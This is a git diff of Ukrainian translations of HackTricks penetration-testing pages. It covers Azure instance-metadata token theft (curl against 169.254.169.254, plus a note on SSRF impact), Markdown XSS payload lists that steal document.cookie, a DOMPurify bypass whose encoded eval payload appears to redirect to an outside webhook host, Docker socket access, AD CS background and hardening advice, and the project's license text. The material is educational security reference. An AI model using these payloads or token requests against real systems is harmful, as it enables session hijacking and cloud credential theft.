> При запиті токена доступу до кінцевої точки метаданих, за замовчуванням служба метаданих використовуватиме **системну призначену керовану ідентичність** для генерації токена, якщо є якась системна призначена керована ідентичність. У випадку, якщо є лише **ОДНА користувацька призначена керована ідентичність**, то вона буде використовуватися за замовчуванням. Однак, якщо немає системної призначеної керованої ідентичності і є **кілька користувацьких призначених керованих ідентичностей**, то служба метаданих поверне помилку, вказуючи, що є кілька керованих ідентичностей, і необхідно **вказати, яку використовувати**.
|
||||||
>
|
>
|
||||||
> На жаль, я не зміг знайти жодної кінцевої точки метаданих, яка вказує на всі МІ, прикріплені до VM, тому виявлення всіх призначених керованих ідентичностей до VM може бути складним завданням з точки зору Red Team.
|
> На жаль, я не зміг знайти жодної кінцевої точки метаданих, що вказує на всі МІ, прикріплені до VM, тому виявлення всіх призначених керованих ідентичностей до VM може бути складним завданням з точки зору Red Team.
|
||||||
>
|
>
|
||||||
> Тому, щоб знайти всі прикріплені МІ, ви можете зробити:
|
> Тому, щоб знайти всі прикріплені МІ, ви можете зробити:
|
||||||
>
|
>
|
||||||
@ -362,14 +362,14 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||||
> ```
|
> ```
|
||||||
>
|
>
|
||||||
> - **Отримати всі** визначені керовані ідентичності в tenant і **брутфорсити**, щоб перевірити, чи є якісь з них прикріпленими до VM:
|
> - **Отримати всі** визначені керовані ідентичності в tenant і **брутфорсити**, щоб перевірити, чи є якась з них прикріпленою до VM:
|
||||||
>
|
>
|
||||||
> ```bash
|
> ```bash
|
||||||
> az identity list
|
> az identity list
|
||||||
> ```
|
> ```
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> У запитах токена використовуйте будь-який з параметрів `object_id`, `client_id` або `msi_res_id`, щоб вказати керовану ідентичність, яку ви хочете використовувати ([**документи**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Якщо жоден, то буде використано **за замовчуванням МІ**.
|
> У запитах токена використовуйте будь-який з параметрів `object_id`, `client_id` або `msi_res_id`, щоб вказати керовану ідентичність, яку ви хочете використовувати ([**документи**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Якщо жоден, то **буде використана за замовчуванням МІ**.
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="Bash"}}
|
{{#tab name="Bash"}}
|
||||||
@ -427,6 +427,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#endtabs}}
|
{{#endtabs}}
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> Зверніть увагу, що кінцева точка **`http://169.254.169.254/metadata/v1/instanceinfo` не вимагає заголовка `Metadata: True`**, що є чудовим для демонстрації впливу вразливостей SSRF в Azure, де ви не можете додати цей заголовок.
|
||||||
|
|
||||||
### Azure App & Functions Services & Automation Accounts
|
### Azure App & Functions Services & Automation Accounts
|
||||||
|
|
||||||
З **env** ви можете отримати значення **`IDENTITY_HEADER`** та **`IDENTITY_ENDPOINT`**. Це можна використовувати для отримання токена для зв'язку з сервером метаданих.
|
З **env** ви можете отримати значення **`IDENTITY_HEADER`** та **`IDENTITY_ENDPOINT`**. Це можна використовувати для отримання токена для зв'язку з сервером метаданих.
|
||||||
@ -439,7 +442,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||||||
- [https://management.azure.com](https://management.azure.com/)
|
- [https://management.azure.com](https://management.azure.com/)
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> У запитах на токен використовуйте будь-який з параметрів `object_id`, `client_id` або `msi_res_id`, щоб вказати керовану ідентичність, яку ви хочете використовувати ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Якщо жоден з них не вказано, буде використано **за замовчуванням MI**.
|
> У запитах на токен використовуйте будь-який з параметрів `object_id`, `client_id` або `msi_res_id`, щоб вказати керовану ідентичність, яку ви хочете використовувати ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Якщо жоден, буде використано **за замовчуванням MI**.
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="Bash"}}
|
{{#tab name="Bash"}}
|
||||||
@ -594,7 +597,7 @@ Kubernetes ETCD може містити API-ключі, внутрішні IP-а
|
|||||||
|
|
||||||
Метадані Docker можна отримати локально, з прикладами для отримання інформації про контейнери та зображення:
|
Метадані Docker можна отримати локально, з прикладами для отримання інформації про контейнери та зображення:
|
||||||
|
|
||||||
- Простий приклад для доступу до метаданих контейнерів та зображень через сокет Docker:
|
- Простий приклад доступу до метаданих контейнерів та зображень через сокет Docker:
|
||||||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||||
- Всередині контейнера використовуйте curl з сокетом Docker:
|
- Всередині контейнера використовуйте curl з сокетом Docker:
|
||||||
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||||
|
|||||||
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
### HTML теги
|
### HTML теги
|
||||||
|
|
||||||
Найпоширеніший спосіб отримати XSS у markdown - це вставити звичайні HTML теги, які виконують javascript, оскільки кілька інтерпретаторів markdown також приймають HTML.
|
Найпоширеніший спосіб отримати XSS у markdown - це вставити звичайні HTML теги, які виконують javascript, оскільки кілька інтерпретаторів markdown також прийматимуть HTML.
|
||||||
```html
|
```html
|
||||||
<!-- XSS with regular tags -->
|
<!-- XSS with regular tags -->
|
||||||
<script>
|
<script>
|
||||||
@ -33,7 +33,7 @@ t:prompt(document.cookie))
|
|||||||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||||
[a](javascript:window.onerror=alert;throw%201)
|
[a](javascript:window.onerror=alert;throw%201)
|
||||||
```
|
```
|
||||||
### Зловживання синтаксисом подій img
|
### Зловживання синтаксисом подій Img
|
||||||
```markdown
|
```markdown
|
||||||
>)
|
>)
|
||||||
>)
|
>)
|
||||||
@ -42,7 +42,7 @@ t:prompt(document.cookie))
|
|||||||
```
|
```
|
||||||
### HTML Sanitiser Markdown Bypass
|
### HTML Sanitiser Markdown Bypass
|
||||||
|
|
||||||
Наступний код **санітує HTML-вхідні дані** і потім **передає їх парсеру Markdown**, після чого XSS може бути активовано, використовуючи неправильні інтерпретації між Markdown та DOMPurify.
|
Наступний код **санітує HTML-вхідні дані** і потім **передає їх парсеру Markdown**, після чого XSS може бути активовано, використовуючи неправильні інтерпретації між Markdown і DOMPurify.
|
||||||
```html
|
```html
|
||||||
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
|
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
|
||||||
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
||||||
@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
|
|||||||
```html
|
```html
|
||||||
<!--
|
<!--
|
||||||
Fuzzing examples from
|
Fuzzing examples from
|
||||||
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
|
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
|
||||||
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
|
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
|
||||||
-->
|
-->
|
||||||
|
|
||||||
[a](javascript:prompt(document.cookie))
|
[a](javascript:prompt(document.cookie))
|
||||||
@ -97,7 +97,7 @@ Fuzzing examples from
|
|||||||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||||
[a](javascript:alert('XSS'))
|
[a](javascript:alert('XSS'))
|
||||||
\
|
\
|
||||||
[citelol]: (javascript:prompt(document.cookie))
|
[lol]: (javascript:prompt(document.cookie))
|
||||||
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
|
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
|
||||||
[test](javascript://%0d%0aprompt(1))
|
[test](javascript://%0d%0aprompt(1))
|
||||||
[test](javascript://%0d%0aprompt(1);com)
|
[test](javascript://%0d%0aprompt(1);com)
|
||||||
|
|||||||
@ -8,14 +8,14 @@
|
|||||||
> Це **цінності проекту HackTricks**:
|
> Це **цінності проекту HackTricks**:
|
||||||
>
|
>
|
||||||
> - Надати **БЕЗКОШТОВНИЙ** доступ до **ОСВІТНІХ хакерських** ресурсів **ВСІМ** в Інтернеті.
|
> - Надати **БЕЗКОШТОВНИЙ** доступ до **ОСВІТНІХ хакерських** ресурсів **ВСІМ** в Інтернеті.
|
||||||
> - Хакерство - це про навчання, а навчання має бути якомога безкоштовнішим.
|
> - Хакінг - це про навчання, і навчання повинно бути якомога більш безкоштовним.
|
||||||
> - Мета цієї книги - слугувати всебічним **освітнім ресурсом**.
|
> - Мета цієї книги - слугувати всебічним **освітнім ресурсом**.
|
||||||
> - **ЗБЕРІГАТИ** чудові **хакерські** техніки, які публікує спільнота, надаючи **ОРИГІНАЛЬНИМ** **АВТОРАМ** всі **кредити**.
|
> - **ЗБЕРІГАТИ** чудові **хакерські** техніки, які публікує спільнота, надаючи **ОРИГІНАЛЬНИМ** **АВТОРАМ** всі **кредити**.
|
||||||
> - **Ми не хочемо кредиту від інших людей**, ми просто хочемо зберігати класні трюки для всіх.
|
> - **Ми не хочемо кредиту від інших людей**, ми просто хочемо зберігати класні трюки для всіх.
|
||||||
> - Ми також пишемо **свої власні дослідження** в HackTricks.
|
> - Ми також пишемо **свої власні дослідження** в HackTricks.
|
||||||
> - У кількох випадках ми просто напишемо **в HackTricks резюме важливих частин** техніки і **заохочуватимемо читача відвідати оригінальний пост** для отримання додаткових деталей.
|
> - У кількох випадках ми просто напишемо **в HackTricks резюме важливих частин** техніки і **заохочуватимемо читача відвідати оригінальний пост** для отримання додаткових деталей.
|
||||||
> - **ОРГАНІЗУВАТИ** всі хакерські техніки в книзі, щоб вони були **БІЛЬШ ДОСТУПНІМИ**
|
> - **ОРГАНІЗУВАТИ** всі хакерські техніки в книзі, щоб вони були **БІЛЬШ ДОСТУПНІМИ**
|
||||||
> - Команда HackTricks присвятила тисячі годин безкоштовно **лише для організації контенту**, щоб люди могли **навчатися швидше**
|
> - Команда HackTricks присвятила тисячі годин безкоштовно **тільки для організації контенту**, щоб люди могли **навчатися швидше**
|
||||||
|
|
||||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
@ -48,10 +48,10 @@
|
|||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **Як я можу цитувати сторінку HackTricks?**
|
> - **Як я можу сторінку HackTricks?**
|
||||||
|
|
||||||
Досить, щоб з'явилося посилання **на** сторінку(і), звідки ви взяли інформацію.\
|
Якщо посилання **на** сторінку(и), з якої ви взяли інформацію, з'являється, цього достатньо.\
|
||||||
Якщо вам потрібен bibtex, ви можете використати щось на кшталт:
|
Якщо вам потрібен bibtex, ви можете використовувати щось на зразок:
|
||||||
```latex
|
```latex
|
||||||
@misc{hacktricks-bibtexing,
|
@misc{hacktricks-bibtexing,
|
||||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||||
@ -76,7 +76,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
|||||||
|
|
||||||
Якщо ви вважаєте, що книги HackTricks створені для **комерційних цілей**, ви **ЦІЛКОМ ПОМИЛЯЄТЕСЬ**.
|
Якщо ви вважаєте, що книги HackTricks створені для **комерційних цілей**, ви **ЦІЛКОМ ПОМИЛЯЄТЕСЬ**.
|
||||||
|
|
||||||
У нас є спонсори, тому що, навіть якщо весь контент БЕЗКОШТОВНИЙ, ми хочемо **надати спільноті можливість оцінити нашу роботу**, якщо вони цього хочуть. Тому ми пропонуємо людям можливість донатити HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також **відповідні компанії з кібербезпеки** спонсорувати HackTricks і **мати деякі оголошення** в книзі, при цьому **оголошення** завжди розміщуються в місцях, де вони **видимі**, але **не заважають процесу навчання**, якщо хтось зосереджується на контенті.
|
У нас є спонсори, тому що, навіть якщо весь контент БЕЗКОШТОВНИЙ, ми хочемо **надати спільноті можливість оцінити нашу роботу**, якщо вони цього хочуть. Тому ми пропонуємо людям можливість донатити HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також **відповідним компаніям з кібербезпеки** спонсорувати HackTricks і **мати деякі оголошення** в книзі, при цьому **оголошення** завжди розміщуються в місцях, де вони **видимі**, але **не заважають процесу навчання**, якщо хтось зосереджується на контенті.
|
||||||
|
|
||||||
Ви не знайдете HackTricks, заповнені набридливими оголошеннями, як інші блоги з набагато меншою кількістю контенту, оскільки HackTricks не створено для комерційних цілей.
|
Ви не знайдете HackTricks, заповнені набридливими оголошеннями, як інші блоги з набагато меншою кількістю контенту, оскільки HackTricks не створено для комерційних цілей.
|
||||||
|
|
||||||
@ -92,7 +92,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
|||||||
|
|
||||||
Зверніть увагу, що наявність посилань на вашу сторінку в HackTricks:
|
Зверніть увагу, що наявність посилань на вашу сторінку в HackTricks:
|
||||||
|
|
||||||
- Покращує ваше **SEO**
|
- Покращує ваш **SEO**
|
||||||
- Контент **перекладається на більше ніж 15 мов**, що дозволяє більшій кількості людей отримати доступ до цього контенту
|
- Контент **перекладається на більше ніж 15 мов**, що дозволяє більшій кількості людей отримати доступ до цього контенту
|
||||||
- **HackTricks заохочує** людей **перевіряти вашу сторінку** (декілька людей згадували нам, що з тих пір, як деяка їхня сторінка є в HackTricks, вони отримують більше відвідувань)
|
- **HackTricks заохочує** людей **перевіряти вашу сторінку** (декілька людей згадували нам, що з тих пір, як деяка їхня сторінка є в HackTricks, вони отримують більше відвідувань)
|
||||||
|
|
||||||
@ -116,12 +116,12 @@ Copyright © Усі права захищені, якщо не вказано і
|
|||||||
|
|
||||||
#### Додаткові умови:
|
#### Додаткові умови:
|
||||||
|
|
||||||
- Контент третіх сторін: Деякі частини цього блогу/книги можуть містити контент з інших джерел, таких як уривки з інших блогів або публікацій. Використання такого контенту здійснюється відповідно до принципів добросовісного використання або з явним дозволом відповідних правовласників. Будь ласка, зверніться до оригінальних джерел для отримання конкретної інформації про ліцензування щодо контенту третіх сторін.
|
- Third-Party Content: Деякі частини цього блогу/книги можуть містити контент з інших джерел, таких як уривки з інших блогів або публікацій. Використання такого контенту здійснюється відповідно до принципів добросовісного використання або з явним дозволом відповідних правовласників. Будь ласка, зверніться до оригінальних джерел для отримання конкретної інформації про ліцензування щодо контенту третіх сторін.
|
||||||
- Авторство: Оригінальний контент, створений HackTricks, підлягає умовам цієї ліцензії. Вам рекомендується вказувати цю роботу автору при її поширенні або адаптації.
|
- Authorship: Оригінальний контент, автором якого є HackTricks, підлягає умовам цієї ліцензії. Вам рекомендується вказувати автора цієї роботи при її поширенні або адаптації.
|
||||||
|
|
||||||
#### Винятки:
|
#### Винятки:
|
||||||
|
|
||||||
- Комерційне використання: Для запитів щодо комерційного використання цього контенту, будь ласка, зв'яжіться зі мною.
|
- Commercial Use: Для запитів щодо комерційного використання цього контенту, будь ласка, зв'яжіться зі мною.
|
||||||
|
|
||||||
Ця ліцензія не надає жодних прав на товарні знаки або брендинг у відношенні до контенту. Усі товарні знаки та брендинг, представлені в цьому блозі/книзі, є власністю відповідних власників.
|
Ця ліцензія не надає жодних прав на товарні знаки або брендинг у відношенні до контенту. Усі товарні знаки та брендинг, представлені в цьому блозі/книзі, є власністю відповідних власників.
|
||||||
|
|
||||||
@ -130,14 +130,14 @@ Copyright © Усі права захищені, якщо не вказано і
|
|||||||
## **Відмова від відповідальності**
|
## **Відмова від відповідальності**
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Ця книга, 'HackTricks', призначена лише для освітніх та інформаційних цілей. Контент у цій книзі надається на основі 'як є', і автори та видавці не роблять жодних заяв або гарантій будь-якого роду, явних або неявних, щодо повноти, точності, надійності, придатності або доступності інформації, продуктів, послуг або супутніх графіків, що містяться в цій книзі. Будь-яка залежність, яку ви покладаєте на таку інформацію, є строго на ваш власний ризик.
|
> Ця книга, 'HackTricks', призначена лише для освітніх та інформаційних цілей. Контент у цій книзі надається на основі 'як є', і автори та видавці не роблять жодних заяв або гарантій будь-якого роду, явних або неявних, щодо повноти, точності, надійності, придатності або доступності інформації, продуктів, послуг або супутніх графіків, що містяться в цій книзі. Будь-яка залежність, яку ви покладете на таку інформацію, є строго на ваш власний ризик.
|
||||||
>
|
>
|
||||||
> Автори та видавці не несуть жодної відповідальності за будь-які втрати або збитки, включаючи, без обмежень, непрямі або наслідкові втрати або збитки, або будь-які втрати або збитки, що виникають внаслідок втрати даних або прибутків, що виникають з або у зв'язку з використанням цієї книги.
|
> Автори та видавці не несуть жодної відповідальності за будь-які втрати або збитки, включаючи, без обмежень, непрямі або наслідкові втрати або збитки, або будь-які втрати або збитки, що виникають внаслідок втрати даних або прибутків, що виникають з, або у зв'язку з використанням цієї книги.
|
||||||
>
|
>
|
||||||
> Крім того, техніки та поради, описані в цій книзі, надаються лише для освітніх та інформаційних цілей і не повинні використовуватися для будь-якої незаконної або зловмисної діяльності. Автори та видавці не схвалюють і не підтримують жодну незаконну або неетичну діяльність, і будь-яке використання інформації, що міститься в цій книзі, є на ваш власний ризик і на ваш розсуд.
|
> Крім того, техніки та поради, описані в цій книзі, надаються лише для освітніх та інформаційних цілей і не повинні використовуватися для будь-якої незаконної або зловмисної діяльності. Автори та видавці не схвалюють і не підтримують жодну незаконну або неетичну діяльність, і будь-яке використання інформації, що міститься в цій книзі, є на ваш власний ризик і на ваш розсуд.
|
||||||
>
|
>
|
||||||
> Користувач несе повну відповідальність за будь-які дії, вжиті на основі інформації, що міститься в цій книзі, і завжди повинен звертатися за професійною порадою та допомогою, намагаючись реалізувати будь-які з технік або порад, описаних тут.
|
> Користувач несе повну відповідальність за будь-які дії, вжиті на основі інформації, що міститься в цій книзі, і завжди повинен звертатися за професійною порадою та допомогою, намагаючись реалізувати будь-які з технік або порад, описаних тут.
|
||||||
>
|
>
|
||||||
> Використовуючи цю книгу, користувач погоджується звільнити авторів і видавців від будь-якої відповідальності за будь-які збитки, втрати або шкоду, які можуть виникнути внаслідок використання цієї книги або будь-якої інформації, що міститься в ній.
|
> Використовуючи цю книгу, користувач погоджується звільнити авторів та видавців від будь-якої відповідальності за будь-які збитки, втрати або шкоду, які можуть виникнути внаслідок використання цієї книги або будь-якої інформації, що міститься в ній.
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -39,7 +39,7 @@ AD CS визнає сертифікати CA в лісі AD через приз
|
|||||||
|
|
||||||
### Certificate Templates
|
### Certificate Templates
|
||||||
|
|
||||||
Визначені в AD, ці шаблони окреслюють налаштування та дозволи для видачі сертифікатів, включаючи дозволені EKUs та права на реєстрацію або модифікацію, що є критично важливими для управління доступом до послуг сертифікатів.
|
Визначені в AD, ці шаблони окреслюють налаштування та дозволи для видачі сертифікатів, включаючи дозволені EKUs та права на реєстрацію або модифікацію, що є критично важливими для управління доступом до сертифікатних послуг.
|
||||||
|
|
||||||
## Certificate Enrollment
|
## Certificate Enrollment
|
||||||
|
|
||||||
@ -76,7 +76,7 @@ AD CS визнає сертифікати CA в лісі AD через приз
|
|||||||
4. **Служба реєстрації сертифікатів** (CES), у поєднанні з службою політики реєстрації сертифікатів (CEP).
|
4. **Служба реєстрації сертифікатів** (CES), у поєднанні з службою політики реєстрації сертифікатів (CEP).
|
||||||
5. **Служба реєстрації мережевих пристроїв** (NDES) для мережевих пристроїв, використовуючи простий протокол реєстрації сертифікатів (SCEP).
|
5. **Служба реєстрації мережевих пристроїв** (NDES) для мережевих пристроїв, використовуючи простий протокол реєстрації сертифікатів (SCEP).
|
||||||
|
|
||||||
Користувачі Windows також можуть запитувати сертифікати через GUI (`certmgr.msc` або `certlm.msc`) або інструменти командного рядка (`certreq.exe` або команду PowerShell `Get-Certificate`).
|
Користувачі Windows також можуть запитувати сертифікати через GUI (`certmgr.msc` або `certlm.msc`) або командні інструменти (`certreq.exe` або команду PowerShell `Get-Certificate`).
|
||||||
```bash
|
```bash
|
||||||
# Example of requesting a certificate using PowerShell
|
# Example of requesting a certificate using PowerShell
|
||||||
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||||
@ -91,11 +91,11 @@ Active Directory (AD) підтримує сертифікатну аутенти
|
|||||||
```bash
|
```bash
|
||||||
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
||||||
```
|
```
|
||||||
є центральним для встановлення довіри для аутентифікації сертифікатів.
|
є центральним для встановлення довіри для аутентифікації за сертифікатами.
|
||||||
|
|
||||||
### Аутентифікація через Secure Channel (Schannel)
|
### Аутентифікація через Secure Channel (Schannel)
|
||||||
|
|
||||||
Schannel забезпечує безпечні TLS/SSL з'єднання, де під час рукостискання клієнт представляє сертифікат, який, якщо успішно перевірений, надає доступ. Відображення сертифіката на обліковий запис AD може включати функцію Kerberos **S4U2Self** або **Subject Alternative Name (SAN)** сертифіката, серед інших методів.
|
Schannel забезпечує безпечні TLS/SSL з'єднання, під час яких клієнт представляє сертифікат, який, якщо успішно перевірений, надає доступ. Відображення сертифіката на обліковий запис AD може включати функцію Kerberos **S4U2Self** або **Subject Alternative Name (SAN)** сертифіката, серед інших методів.
|
||||||
|
|
||||||
### Перерахування сертифікатних служб AD
|
### Перерахування сертифікатних служб AD
|
||||||
|
|
||||||
@ -124,9 +124,9 @@ certutil -v -dstemplate
|
|||||||
|
|
||||||
| Рік | ID / Назва | Вплив | Основні висновки |
|
| Рік | ID / Назва | Вплив | Основні висновки |
|
||||||
|------|-----------|--------|----------------|
|
|------|-----------|--------|----------------|
|
||||||
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *Ескалація привілеїв* шляхом підробки сертифікатів облікових записів машин під час PKINIT. | Патч включено в оновлення безпеки **10 травня 2022**. Аудит та контроль сильного відображення були введені через **KB5014754**; середовища тепер повинні бути в режимі *Повного виконання*. citeturn2search0 |
|
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *Ескалація привілеїв* шляхом підробки сертифікатів облікових записів машин під час PKINIT. | Патч включено в оновлення безпеки **10 травня 2022**. Аудит та контроль сильного відображення були введені через **KB5014754**; середовища тепер повинні бути в режимі *Повного виконання*. |
|
||||||
| 2023 | **CVE-2023-35350 / 35351** | *Віддалене виконання коду* в ролях AD CS Web Enrollment (certsrv) та CES. | Публічні PoC обмежені, але вразливі компоненти IIS часто відкриті внутрішньо. Патч з **липня 2023** Patch Tuesday. citeturn3search0 |
|
| 2023 | **CVE-2023-35350 / 35351** | *Віддалене виконання коду* в ролях AD CS Web Enrollment (certsrv) та CES. | Публічні PoC обмежені, але вразливі компоненти IIS часто відкриті внутрішньо. Патч з **липня 2023** у вівторок патчів. |
|
||||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | Користувачі з низькими привілеями, які мають права на реєстрацію, можуть переважити **будь-який** EKU або SAN під час генерації CSR, видаючи сертифікати, які можна використовувати для автентифікації клієнтів або підписування коду, що призводить до *компрометації домену*. | Вирішено в оновленнях **квітня 2024**. Видалити “Постачати в запиті” з шаблонів та обмежити права на реєстрацію. citeturn1search3 |
|
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | Користувачі з низькими привілеями, які мають права на реєстрацію, можуть переважити **будь-який** EKU або SAN під час генерації CSR, видаючи сертифікати, які можна використовувати для автентифікації клієнтів або підписування коду, що призводить до *компрометації домену*. | Вирішено в оновленнях **квітня 2024**. Видалити “Постачати в запиті” з шаблонів і обмежити права на реєстрацію. |
|
||||||
|
|
||||||
### Хронологія зміцнення Microsoft (KB5014754)
|
### Хронологія зміцнення Microsoft (KB5014754)
|
||||||
|
|
||||||
@ -134,17 +134,17 @@ Microsoft представила трьохфазний розгортання (
|
|||||||
|
|
||||||
1. Патчити всі DC та сервери AD CS (травень 2022 або пізніше).
|
1. Патчити всі DC та сервери AD CS (травень 2022 або пізніше).
|
||||||
2. Моніторити події ID 39/41 для слабких відображень під час фази *Аудиту*.
|
2. Моніторити події ID 39/41 для слабких відображень під час фази *Аудиту*.
|
||||||
3. Повторно видавати сертифікати автентифікації клієнтів з новим **SID розширенням** або налаштувати сильні ручні відображення до лютого 2025. citeturn2search0
|
3. Повторно видавати сертифікати автентифікації клієнтів з новим **SID розширенням** або налаштувати сильні ручні відображення до лютого 2025.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Виявлення та покращення зміцнення
|
## Виявлення та покращення зміцнення
|
||||||
|
|
||||||
* **Defender for Identity AD CS sensor (2023-2024)** тепер надає оцінки позиції для ESC1-ESC8/ESC11 та генерує сповіщення в реальному часі, такі як *“Видача сертифіката контролера домену для не-DC”* (ESC8) та *“Запобігти реєстрації сертифікатів з довільними політиками застосування”* (ESC15). Переконайтеся, що датчики розгорнуті на всіх серверах AD CS, щоб скористатися цими виявленнями. citeturn5search0
|
* **Defender for Identity AD CS sensor (2023-2024)** тепер надає оцінки позиції для ESC1-ESC8/ESC11 та генерує сповіщення в реальному часі, такі як *“Видача сертифіката контролера домену для не-DC”* (ESC8) та *“Запобігти реєстрації сертифікатів з довільними політиками застосування”* (ESC15). Переконайтеся, що датчики розгорнуті на всіх серверах AD CS, щоб скористатися цими виявленнями.
|
||||||
* Вимкніть або суворо обмежте опцію **“Постачати в запиті”** на всіх шаблонах; надавайте перевагу явно визначеним значенням SAN/EKU.
|
* Вимкніть або суворо обмежте опцію **“Постачати в запиті”** на всіх шаблонах; надавайте перевагу явно визначеним значенням SAN/EKU.
|
||||||
* Видаліть **Будь-яка мета** або **Без EKU** з шаблонів, якщо це абсолютно не потрібно (вирішує сценарії ESC2).
|
* Видаліть **Будь-яка мета** або **Без EKU** з шаблонів, якщо це абсолютно не потрібно (вирішує сценарії ESC2).
|
||||||
* Вимагайте **схвалення менеджера** або спеціалізовані робочі процеси агента реєстрації для чутливих шаблонів (наприклад, WebServer / CodeSigning).
|
* Вимагайте **схвалення менеджера** або спеціалізовані робочі процеси агента реєстрації для чутливих шаблонів (наприклад, WebServer / CodeSigning).
|
||||||
* Обмежте веб-реєстрацію (`certsrv`) та кінцеві точки CES/NDES до надійних мереж або за автентифікацією клієнтських сертифікатів.
|
* Обмежте веб-реєстрацію (`certsrv`) та кінцеві точки CES/NDES до надійних мереж або за автентифікацією клієнтського сертифіката.
|
||||||
* Застосуйте шифрування реєстрації RPC (`certutil –setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`), щоб зменшити ризик ESC11.
|
* Застосуйте шифрування реєстрації RPC (`certutil –setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`), щоб зменшити ризик ESC11.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|||||||
@ -10,9 +10,9 @@ API захисту даних (DPAPI) в основному використов
|
|||||||
|
|
||||||
Найпоширеніший спосіб використання DPAPI - це через функції **`CryptProtectData` та `CryptUnprotectData`**, які дозволяють додаткам безпечно шифрувати та дешифрувати дані з сеансом процесу, який наразі увійшов в систему. Це означає, що зашифровані дані можуть бути дешифровані лише тим же користувачем або системою, які їх зашифрували.
|
Найпоширеніший спосіб використання DPAPI - це через функції **`CryptProtectData` та `CryptUnprotectData`**, які дозволяють додаткам безпечно шифрувати та дешифрувати дані з сеансом процесу, який наразі увійшов в систему. Це означає, що зашифровані дані можуть бути дешифровані лише тим же користувачем або системою, які їх зашифрували.
|
||||||
|
|
||||||
